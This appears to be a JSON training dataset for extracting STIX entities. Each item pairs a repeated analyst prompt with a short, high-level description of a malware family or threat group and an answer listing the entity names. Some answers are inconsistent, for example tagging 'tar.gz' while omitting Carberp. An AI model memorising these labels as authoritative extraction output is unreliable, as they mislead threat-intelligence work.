[
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nGravityRAT has a feature to list the available services on the system.\n",
    "output": "<entities>GravityRAT</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nGustuff is mobile malware designed to steal users' banking and virtual currency credentials.\n",
    "output": "<entities>Gustuff</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nRocke has extracted tar.gz files after downloading them from a C2 server.\n",
    "output": "<entities>tar.gz|C2|Rocke</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nGreen Lambert is a modular backdoor that security researchers assess has been used by an advanced threat group referred to as Longhorn and The Lamberts. First reported in 2017, the Windows variant of Green Lambert may have been used as early as 2008; a macOS version was uploaded to a multiscanner service in September 2014.\n",
    "output": "<entities>Green Lambert|macOS|Windows|Longhorn|The Lamberts</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nVPNFilter is a multi-stage, modular platform with versatile capabilities to support both intelligence-collection and destructive cyber attack operations. VPNFilter modules such as its packet sniffer ('ps') can collect traffic that passes through an infected device, allowing the theft of website credentials and monitoring of Modbus SCADA protocols.\n",
    "output": "<entities>VPNFilter|SCADA|Modbus|ps</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nNanHaiShu launches a script to delete their original decoy file to cover tracks.\n",
    "output": "<entities>NanHaiShu</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nTonto Team has relied on user interaction to open their spearphishing attachments.\n",
    "output": "<entities>Tonto Team</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nmeek uses Domain Fronting to disguise the destination of network traffic as another server that is hosted in the same Content Delivery Network (CDN) as the intended destination.\n",
    "output": "<entities>Content Delivery Network|meek</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nQakBot is a modular banking trojan that has been used primarily by financially-motivated actors since at least 2007. QakBot is continuously maintained and developed and has evolved from an information stealer into a delivery agent for ransomware, most notably ProLock and Egregor.\n",
    "output": "<entities>QakBot|ProLock|Egregor</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nT9000 gathers and beacons the username of the logged in account during installation. It will also gather the username of running processes to determine if it is running as SYSTEM.\n",
    "output": "<entities>T9000</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nBONDUPDATER persists using a scheduled task that executes every minute.\n",
    "output": "<entities>BONDUPDATER</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nUBoatRAT takes advantage of the /SetNotifyCmdLine option in BITSAdmin to ensure it stays running on a system to maintain persistence.\n",
    "output": "<entities>UBoatRAT|BITSAdmin</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nSilkBean is a piece of Android surveillanceware containing comprehensive remote access tool (RAT) functionality that has been used in targeting of the Uyghur ethnic group.\n",
    "output": "<entities>SilkBean|Android</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nSeasalt is malware that has been linked to APT1's 2010 operations. It shares some code similarities with OceanSalt.\n",
    "output": "<entities>Seasalt|APT1|OceanSalt</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nExobot is Android banking malware, primarily targeting financial institutions in Germany, Austria, and France.\n",
    "output": "<entities>Exobot|Android|Germany|Austria|France</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nEpic has overwritten the function pointer in the extra window memory of Explorer's Shell_TrayWnd in order to execute malicious code in the context of the explorer.exe process.\n",
    "output": "<entities>Epic|Explorer|explorer.exe</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nDarkComet can access the victim\u2019s webcam to take pictures.\n",
    "output": "<entities>DarkComet</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nJHUHUGIT is malware used by APT28. It is based on Carberp source code and serves as reconnaissance malware. \n",
    "output": "<entities>JHUHUGIT|APT28</entities>"
  },
  {
